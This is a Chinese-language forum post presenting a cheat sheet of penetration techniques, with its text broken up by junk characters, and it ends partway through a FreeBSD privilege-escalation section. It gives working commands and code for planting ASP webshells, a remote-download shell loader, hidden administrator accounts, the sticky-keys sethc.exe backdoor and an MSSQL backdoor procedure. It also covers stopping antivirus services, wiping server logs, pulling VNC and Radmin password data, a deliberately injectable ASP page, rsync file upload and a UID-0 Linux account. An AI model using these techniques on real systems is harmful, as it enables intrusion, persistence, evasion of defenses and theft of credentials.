渗透技巧总结

admin

旁站路径问题
5 ]; l6 Q- I/ b8 f4 j5 G1、读网站配置。
* k% c2 c, h' J! H1 M9 g2、用以下VBS
% P" W! ~' G0 C. Z) E7 iOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

, R6 I( g/ u5 [4 \2 {  ^Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
6 \$ G; o$ v+ J- i) O  [* x- aEnd If
4 f0 ~$ J, F8 G- z" n0 U7 @Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
+ l2 j! F& f6 N8 z' m7 {$ f- o        If IsNumeric(obj3w.Name)

1 E- b8 s8 m) A. |Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

" \6 ~+ f9 K3 w7 Z3 ]6 t' d       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
) E3 O# P; y9 g0 ~" ^& F                If Err

<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
  E/ L' n, Y$ Y6 e" \7 r% f
: k2 b9 i* O/ {$ w$ ]OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
" I7 e" I' Z+ {     

# ~* [5 n1 v! |  M" ^/ A% n                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
+ U9 E7 J% ]0 V
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
9 D4 [8 ]# v. k& c- F
         WScript.Echo "ath            : " & VDirObj.Path
& C$ O* w/ W& A0 T: N7 b        End If
1 z& K0 ~4 k1 H/ jNext
复制代码
, y1 p" Y! q9 l  y& ]9 Y3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
0 M4 e6 Q, R5 L# p4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
2 a- Q# g, D5 A" g0 @—————————————————————
8 a; P+ X5 A/ q% }- T7 GWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
9 M( ~5 {, N. t5 T7 S" Jurl/wp-content/plugins/akismet/hello.php
7 k0 Y) R) }' h8 {5 e——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
; \3 l3 I% s2 T  x" p* rphpMyAdmin/darkblue_orange/layout.inc.php
& X7 O" a  K9 _, O- YphpMyAdmin/index.php?lang[]=1
. b8 w1 X7 o9 f* |phpmyadmin/themes/darkblue_orange/layout.inc.php
( K, X0 {% m! E2 F————————————————————
3 f. o' A3 Y4 ^+ {5 P- [7 x网站可能目录(注：一般是虚拟主机类）
2 m/ Y3 g1 r4 d/ Pdata/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
2 g6 e# W6 Y" K# ?netsh ras set user administrator permit #允许administrator拨入该VPN
  x  v1 i) C8 E7 x1 k4 t! Z9 Jnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
+ o+ x# G' J+ S$ R5 Hexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
- j* q7 I+ B8 }/ n; V) I. ~, R
' B* t3 }( T/ t" _" h  T( |! C另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
3 f7 u0 i& ^6 _var o=new ActiveXObject( "Shell.Users" );
7 [+ ]& ^2 r* v9 t8 Kz=o.create("test") ;
1 Q( R% b7 I( C' ?z.changePassword("123456","")
+ y0 i9 g* w# Yz.setting("AccountType")=3;

vbs:
; y5 F; `" S) m1 nSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
+ X" Y' [3 J" t- n6 M. O' @z.changePassword "123456",""
* }( B4 e' Q- R! v) Qz.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

, z% h) z8 [' f命令如下
" q. A" |% x2 b/ p' Ocacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
4 |; n8 W: o; Z$ i! x————————以下配合PR更好————
. y6 d. T) y& [, a, `" Q0 v7 v, E9 _5 n( e3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   
& o- U7 I& U( r# X' r
3 {  @: g4 n3 [2 k5 {$ E杀软关闭（把杀软所在的文件的所有权限去掉）
$ W4 h) J. P  [4 O+ e处理变态诺顿企业版：
6 f1 N# u! W# r+ w) xnet stop "Symantec AntiVirus" /y
4 p3 [3 B5 H; k4 `1 Enet stop "Symantec AntiVirus Definition Watcher" /y
/ w! o  y4 V2 t# `: C6 c& B! D% Onet stop "Symantec Event Manager" /y
+ u4 h" l+ [; Y8 G8 Ynet stop "System Event Notification" /y
- z3 R- @- ~% B1 p. onet stop "Symantec Settings Manager" /y
3 s! j; J7 {! {+ |: z
卖咖啡：net stop "McAfee McShield"
————————————————————
' x) ?* O+ n& ?0 ?! O6 G
5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
" p1 s8 |  f8 z3 R9 k( ~8 \——————————————————————
, P* p5 n- O+ G' L# P6 G9 K隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
$ g! d* @  y3 s7 J6 X" S) ~# G2 x2 \7 K3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
. n) ?) c1 O: c+ T! g2 iMSSQL扩展后门：
  c8 m/ P$ C( ~6 K/ kUSE master;
' f5 S& Y6 x6 G( hEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
# C3 B* l! y+ C$ W! W% s: Kex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
! Y4 ]( Z- E. H6 X: Q; A$ o1 n当然可以直接删除ex011120.log / ex011121.log
1 k4 f* ]( j" l9 W用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

$ y7 h* T0 g% c: I0 i8 T9 a( t2 {MSSQL查询分析器连接记录清除：
/ F% g% ]4 D( w! m4 g/ y3 uMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

' L' z' w" N( OServer\90\Tools\Shell\mru.dat
2 D) \' ~# ^- H- `3 e# g$ R! s—————————————————————————
1 G8 B9 o: b9 n) Q$ _防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

, y: m0 m' O' U$ ?<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
6 a$ u3 o6 N3 M) J* j+ COn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
! ?6 `( T% [6 x4 Q6 R.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
* P/ v& V  K6 v/ z# \.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
$ g! P' L9 t+ n.Close()
1 D( x6 h' o8 T0 Y/ o5 ^  ]$ e9 @; \End With
: Y$ b- `: X' p8 i" W" }Set Ads=nothing
; P9 q$ _; E+ E# B  d4 c0 cEnd Sub

4 c8 E* d. b5 a9 c, }eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

1 n; i& v( q9 v( e1 OVNC提权方法:
. P$ Q$ m% B" ~2 [利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
5 L* P' p3 m, d1 J/ C3 C: E注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
; Z2 W  V+ b+ Jregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
1 J2 a; |! p( @( b+ k# E2 M. ^HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
$ [( W5 Y' I6 m5 w% |HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
% w4 m* M" \0 S3 u% u然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
+ V5 u- h* G: j& p* S& `搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
# M/ h1 ~$ ~, \7 _WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
: h$ }6 M6 ?( G% x5 f* p! Y来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
; V6 w' V9 [5 Q. B0 ~1 V. o没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
<%
) {" J8 D, K2 X- w9 x+ Y8 ^strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
( A. H, q. \( ]$ E& _/ WSet conn = Server.createObject("ADODB.Connection")
! V  m! {& G# X, C) c' e  V) HstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
$ K- d8 U7 s: Y
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
: o0 K- Y" }0 v4 l0 X5 i
3 E  }8 t4 B: P% q- V+ ZstrSQLDBName & ";"
0 Z* Q4 T7 a. wconn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
  C, Y' w# ^- W% v0 y%>
/ F: Z0 }' B) m( H* g复制代码
******liunx 相关******
一.ldap渗透技巧
) {" n& r* a4 q' _1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
( u0 o# N4 \/ x8 h8 X& mbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
' V4 s, G/ c+ a2 {& f% q" Y
3.查找管理员信息
匿名方式
7 V. Z! E' C. M1 }: j  c* M+ L; ~ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
6 ?  c5 H( ]! j7 `. g: X; E
; D' O2 r* O6 G1 b( j"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
" c. n* \. a& N. c" d* n1 ]" o有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
* @- H0 _: i. Q
! c  m! s2 D  t+ i* r" ]"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
8 h0 ~) l5 j# e( F( M6 J2 z9 K
9 @% B; `4 @  ?( z
3 Y' {( c% @3 D8 w4.查找10条用户记录
/ C* {+ K! ^9 a# a$ p$ s) zldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
& A) E. w3 A9 q7 a& a2 E- b1 {
" }. r$ P4 l; P实战:
. I/ s1 }8 n: N7 T: m; T& j1.cat /etc/nsswitch
5 G% J6 \( ~3 v- x2 }4 n看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
  P8 N8 ]5 f! U" M4 T* L3 O  cbase ou=People,dc=unix-center,dc=net
6 w) a' h  z3 p找到ou,dc,dc设置
# q8 O, B; y: u/ L; n
  {" f; R; `- z0 [# K3.查找管理员信息
匿名方式
* u; f% `3 D5 ]( |ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

5 `& }  K9 v- o( u"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
0 ^! l1 K+ x! U# T" R9 m有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

! E/ F' p; ^1 a; Q/ d
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
$ u. g# p9 j* U8 t2 H5 u
! e. b' Z- q# ]3 j) V& m渗透实战:
1.返回所有的属性
! a0 \5 v4 \7 l* p  @% V) F) M5 t5 A- Hldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
4 ^- U' J/ Z& i8 rversion: 1
5 m+ W( h6 o  {$ D7 _8 X$ L/ v) idn: dc=ruc,dc=edu,dc=cn
: A# m8 e$ X' T  s8 p& @6 M. p! Edc: ruc
objectClass: domain
5 y  \: K7 n6 @/ k2 n
dn: uid=manager,dc=ruc,dc=edu,dc=cn
8 l- m0 r/ I2 g% m0 M+ D: Auid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
; s) r* f! }5 H: b5 N; Y0 eobjectClass: top
sn: manager
cn: manager
9 |5 z7 J- r0 n! x; \
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
' s7 h; m& G3 h5 L: ]uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
' m' K6 }: m5 `# m  u) bobjectClass: person
( v, ^7 [0 Z: G0 e$ y0 V5 aobjectClass: top
6 Y+ v) W- N0 w! J3 N4 Lsn: superadmin
cn: superadmin
7 r+ `8 C8 M, A9 c. [: _
, [* S& j2 e4 U& Q% m) Y' t) Wdn: uid=admin,dc=ruc,dc=edu,dc=cn
% B9 @; M; L- b8 U9 T, X& Zuid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
. C* y# _' m/ G& ^objectClass: person
objectClass: top
sn: admin
1 Y/ w- j5 v' v9 U$ xcn: admin

, ^2 l2 O2 U% z7 _7 Ddn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
9 r% O" S) o; Cuid: dcp_anonymous
objectClass: top
objectClass: person
9 b: ^3 L4 e: OobjectClass: organizationalPerson
/ m7 ^! o9 X( `4 VobjectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

$ v; D/ U/ @+ D  F, D# {$ z4 Bmore
version: 1
2 G/ v3 Y' t5 p: j* ^dn: dc=ruc,dc=edu,dc=cn
# p  s1 A% X8 |/ L7 zdc: ruc
$ V: t* a  C$ C+ V& f/ \, mobjectClass: domain
0 y( [! c- d, E# A9 t7 H) n
3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
5 c! x2 K7 V% w6 y! `namingContexts: dc=ruc,dc=edu,dc=cn
" _6 l, g2 [  A$ N4 X$ ^supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
1 k9 b$ G5 l1 V3 o' s( ^supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
' m4 t& \2 ]+ f) E$ H  J* wsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
. K- k2 o! e$ TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
5 t0 p6 m; ?% E8 YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
7 a: w: Q8 u1 ^6 GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
( Z! m) g$ @8 C, A& ^5 z) _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
. R' X% G1 ?! n* i* q  S' TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
: H' D$ n1 e  N2 }  z2 `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
* e1 X0 ?7 M6 a7 K# I( lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
  m* T( R3 O2 T1 bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
; O8 J; \/ {5 Y* \4 }; ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
: f+ }2 n* A+ s+ X/ J" X  {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
' j3 u4 L$ [& v0 Z9 E: S3 BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
6 K: Y& C& D& I% l5 e) TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
, S; Y- h, F' E  YsupportedExtension: 1.3.6.1.4.1.1466.20037
0 `9 b. o  d6 x/ {+ _% ^supportedExtension: 1.3.6.1.4.1.4203.1.11.3
( q4 p, E, K7 b" ?& [3 xsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
* |0 \; s9 `" l6 ?8 osupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
2 @) n' `% t1 W0 S" RsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
( Y$ L( S0 k& K! U9 d: FsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
5 o: L; z$ V9 FsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
: K- r* M7 G+ A* @  [2 p% ?# xsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
: Q6 d- v( g; L0 v' VsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
- R3 i. t7 W! T" ]* r* I2 YsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
7 d0 H* r0 s, G9 o. J8 U; P$ U& QsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
8 U9 U: {" F+ ^1 RsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
  {$ W' j" X- U: a6 nvendorName: Sun Microsystems, Inc.
) s$ e0 f1 D' h$ w5 dvendorVersion: Sun-Java(tm)-System-Directory/6.2
( c+ F0 w7 A2 O2 n0 T- `dataversion: 020090516011411
' r' \2 B* i( jnetscapemdsuffix: cn=ldap://dc=webA:389
( @5 ?' N0 I- J1 ]* x, u( ^, rsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
1 j- V! y. e5 b# }supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
3 U/ n" G; t$ V, n# R& TsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
! M% C# _; ^- R5 WsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
7 h7 y- ~- J: c0 ~supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
- \: K1 q- B* ?  {+ G4 w# \supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
" f, X8 z( {5 ~7 ?* E& _) X, fsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
& [6 }4 r' X) _# N" OsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
6 w/ \: U& V9 v' [supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
: {% w! Q: f3 n2 b. tsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
6 M3 r" w% T1 M: g# xsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
% {1 s0 Y% X5 IsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
* b6 R& T1 i* `8 IsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
: f- j, S+ D9 C1 D) @+ b. G: o9 vsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
2 h1 l  F  c4 A" l2 r/ T, `supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
9 C' i- O! X7 d) {1 p9 }5 [supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
: R- i) `" U  g0 ksupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
& l+ n7 J0 {8 w" w: d, {( [supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
7 l: O4 ~2 D$ usupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
) p( P, o3 I1 v- S# k( BsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
! ~9 X5 n* M3 AsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
1 O7 k2 O+ X6 W: DsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
( ?& F  O. P( C1 _- JsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
' F  B# O4 a* ]) ^6 X4 p# }supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
- J* k$ g4 Q+ T- DsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
( s  b: A5 I: C2 G8 fsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
0 ^, D" Y, T$ k/ f* e2 g) ]supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
7 s3 _" ]: s( s" E- K2 P, c; p————————————
2. NFS渗透技巧
showmount -e ip
列举IP
: `0 ~! o4 r1 w% H3 [——————
3.rsync渗透技巧
% d# e" o: h1 S- j- x) {1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
# R. P& U& o% d% iimg_finance
auto
1 }- |' u1 P; Z  Vimg_auto
! i: O* m+ g, Q! t; L' A3 N$ ohtml_cms
img_cms
+ T3 ~2 W( X4 Z, W& h/ Eent_cms
1 A! ^9 @3 {: Q3 Jent_img
. m2 V3 k& Q" l% [. Yceshi
res_img
  w6 r* ^8 E) \" Dres_img_c2
+ R- Z: s9 w' F' n. B1 W& }chip
chip_c2
3 `5 U; T2 f/ f6 Y3 K- d: l+ jent_icms
games
/ f% r+ `6 G5 T9 ygamesimg
$ s* A+ s. B7 w. s5 _  c( x; X- Jmedia
mediaimg
7 n3 N' j' g% u5 O4 p" ~fashion
res-fashion
) @7 q$ w! x9 B  d; B' jres-fo
taobao-home
res-taobao-home
5 L/ l  x6 G6 `) _& B! O$ G. {house
9 S4 h' X: O' y  i7 N5 v0 jres-house
& u: z* q+ c, m" \2 Hres-home
- o0 t* [+ N7 H1 kres-edu
1 v( k, i8 G3 u% S8 B: L' ires-ent
res-labs
res-news
1 [7 @* S' C9 D  \, M6 @8 f# i  Pres-phtv
res-media
1 s6 g0 w+ C, H* ~home
edu
+ k$ C+ ?: x/ {+ ]+ _7 v8 c" |; \news
res-book

; O$ o( r; E  c$ a$ Y看相应的下级目录(注意一定要在目录后面添加上/)
1 o, ^6 x$ z: D+ f! B1 S: T  e

; t3 u3 |( j' M; P2 Drsync 210.51.X.X::htdocs_app/
# A0 r; i3 J; R; G2 srsync 210.51.X.X::auto/
3 y+ {5 N( c! Brsync 210.51.X.X::edu/
# Y9 y+ d+ a7 Z2 O
( s. I+ j7 b8 s, u$ t2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
7 s3 X' w7 j& q, ~4 _$ ^* S
2 J- q+ J5 `# K* ~2 L3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
: Z! s+ J- u+ o, c% `1 b
( U) Y- {) ^2 k! s: B$ d9 X5 A* a四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
0 `9 E6 f3 }1 h9 u& q% F% o- V! Z- TGET HTTP://WWW.sina.com:22 / HTTP/1.0
$ ^; M8 f: g) }( }- N4 ^- u0 D五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
& q% N: V7 x! p& q' H4 C0 w
2 s; Y; E6 S. R+ j, `: Z8 V8 M六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

/ U5 r' P5 p/ r) f# ^15&catid=32:languages&Itemid=47
8 z( y1 C; f+ q" p  M% T( ]
- U  L+ S3 m6 |- M+ M8 u重新设置密码
index.php?option=com_user&view=reset&layout=confirm
/ X, T& o! g4 a' \  p/ x9 ]5 p6 }
& T3 t% w4 E  |( A' k七: Linux添加UID为0的root用户
+ N$ D9 }( p; }1 J0 I& s: x) ~. Luseradd -o -u 0 nothack

% c2 j) e7 d# |5 [- r八.freebsd本地提权
# Q5 e3 Z6 C  u" I. ]3 i9 r0 B[argp@julius ~]$ uname -rsi
- t, ~9 t( C  z3 E# h" ]* freebsd 7.3-RELEASE GENERIC
: `+ Z% Z4 d2 b* \/ {3 Z" R* [argp@julius ~]$ sysctl vfs.usermount
# D& {# |' M& c5 h* vfs.usermount: 1
* [argp@julius ~]$ id
) u& o  t# c. v/ a7 W8 T* uid=1001(argp) gid=1001(argp) groups=1001(argp)
